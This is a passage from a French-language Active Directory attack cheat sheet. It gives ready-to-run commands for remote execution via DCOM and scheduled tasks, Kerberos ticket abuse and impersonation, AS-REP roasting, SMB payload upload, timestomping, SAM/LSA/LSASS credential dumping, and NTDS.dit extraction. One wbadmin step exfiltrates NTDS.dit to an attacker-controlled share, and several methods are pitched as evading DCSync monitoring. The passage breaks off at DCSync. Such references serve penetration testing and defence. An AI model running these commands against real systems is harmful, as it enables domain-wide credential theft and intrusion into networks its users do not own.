[↑ Retour à l'index](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — procédure de recherche de CLSID :**
> - **La résolution des ProgID est locale.** Titanis résout les ProgID (par ex., `MMC20.Application`) à partir du registre de l'attaquant, et non de celui de la cible. Sous Linux, il n'y a pas de registre pour effectuer la résolution ; sous Windows, le CLSID de l'attaquant peut différer de celui de la cible. Utilisez toujours `Reg` pour rechercher le CLSID réel sur le système distant, puis transmettez le GUID brut.
> - **Parcours de chaîne de propriétés** (v0.9.20260320+) : Dcom invoke prend désormais en charge les chemins de propriétés en notation pointée comme `Document.ActiveView.ExecuteShellCommand`, en parcourant automatiquement la chaîne IDispatch. MMC20.Application fonctionne. ShellWindows `Item()` non — il requiert un argument d'index que la syntaxe de chaîne ne peut pas transmettre.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

[↑ Retour à l'index](#index)

---

### Scheduled Task Exec

> **Remarque :** MS-TSCH n'est pas encore implémenté dans Titanis. Utilisez `Win32_ScheduledJob` via WMI comme solution de contournement, ou `atexec.py` pour une véritable sémantique MS-TSCH.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

[↑ Retour à l'index](#index)

---

## 2. Kerberos

### Demander un TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

[↑ Retour à l'index](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Retour à l'index](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

[↑ Retour à l'index](#index)

---

### Sonde Pre-Auth / Enc-Type```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

[↑ Retour à l'index](#index)

---

### Renouvellement de ticket```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

[↑ Retour à l’index](#index)

---

### Changer le mot de passe```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

[↑ Retour à l'index](#index)

---

## 3. Opérations SMB / Fichiers

### Lister les partages```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Retour à l'index](#index)

---

### Télécharger un fichier```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ Retour à l'index](#index)

---

### Téléverser un fichier```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ Retour à l'index](#index)

---

### Lister les pipes nommés```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ Retour à l'index](#index)

---

### SMB sur SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

[↑ Retour à l’index](#index)

---

### Timestomping de fichiers distants```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

> **Accès au chemin d'instantané @GMT :** `@GMT-...` n'est pas un répertoire réel — Windows SRV.SYS intercepte le jeton dans le chemin CREATE SMB2 et redirige vers l'instantané VSS. Les outils qui parcourent les chemins composant par composant (y compris `Smb2Client get`) obtiendront `STATUS_OBJECT_PATH_NOT_FOUND`. Utilisez smbclient.py ou le smbclient natif, qui envoient le chemin complet dans une seule requête CREATE :
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ Back to Index](#index)

---

### Énumération des flux de données alternatifs NTFS (ADS)```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ Retour à l’index](#index)

---

### Énumération des partages en masse```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

[↑ Retour à l'index](#index)

---

### Dumper les hashes SAM```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

[↑ Retour à l'index](#index)

---

### Dumper SAM + LSA ensemble```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Retour à l'index](#index)

---

### Extraction NTDS via snapshot VSS

> Demande une copie shadow VSS sur le contrôleur de domaine (DC) et lit NTDS.dit + la ruche SYSTEM directement depuis l'instantané. N'utilise pas la réplication — utile lorsque DCSync est bloqué ou surveillé.

> **⚠️ Limitation de `-use-vss` :** le `-use-vss` de secretsdump utilise smbexec en interne pour exécuter vssadmin et collecter la sortie. La création du service smbexec nécessite le niveau d'authentification SVCCTL `PacketPrivacy`, que secretsdump ne négocie pas — la création du service échoue silencieusement et le fichier de sortie n'est jamais écrit. Utilisez plutôt `-use-remoteSSWMI -use-remoteSSWMI-NTDS`, qui contourne entièrement SVCCTL.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ Retour à l'index](#index)

---

### Extraction NTDS via wbadmin (Sauvegarde Windows Server)

> `wbadmin` est un LOLBin Windows intégré qui utilise VSS en interne pour sauvegarder les fichiers vers un partage réseau — aucun stockage local intermédiaire, aucun artefact d'exécution de code au-delà du travail de sauvegarde. Fonctionne pour les opérateurs de sauvegarde (aucun DA requis). Nécessite que le partage soit accessible en écriture depuis le contrôleur de domaine.

> **⚠️ Nécessite la fonctionnalité Windows `WindowsServerBackup`.** Le binaire wbadmin est présent sous forme de stub même lorsque la fonctionnalité n'est pas installée — il peut se bloquer ou échouer silencieusement. Vérifiez que la fonctionnalité est active avant de tenter l'opération : `Get-WindowsFeature WindowsServerBackup` (PowerShell) ou `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Si `InstallState` n'est pas `Installed`, cette méthode ne fonctionnera pas.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ Retour à l'index](#index)

---

### NTDS Dump via Kerb-Key-List (RODC)

> Extrait les clés Kerberos AES pour tous les comptes du domaine via le protocole de réplication de clés RODC. Nécessite la clé AES ou le hash NT d'un compte RODC `krbtgt` (`krbtgt_XXXXX`). N'utilise ni DRSUAPI ni VSS — utile dans les environnements où DCSync est bloqué. Ne récupère que les clés Kerberos, pas les hashs NTLM directement (bien que NTLM puisse être dérivé des clés RC4).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

[↑ Retour à l'index](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

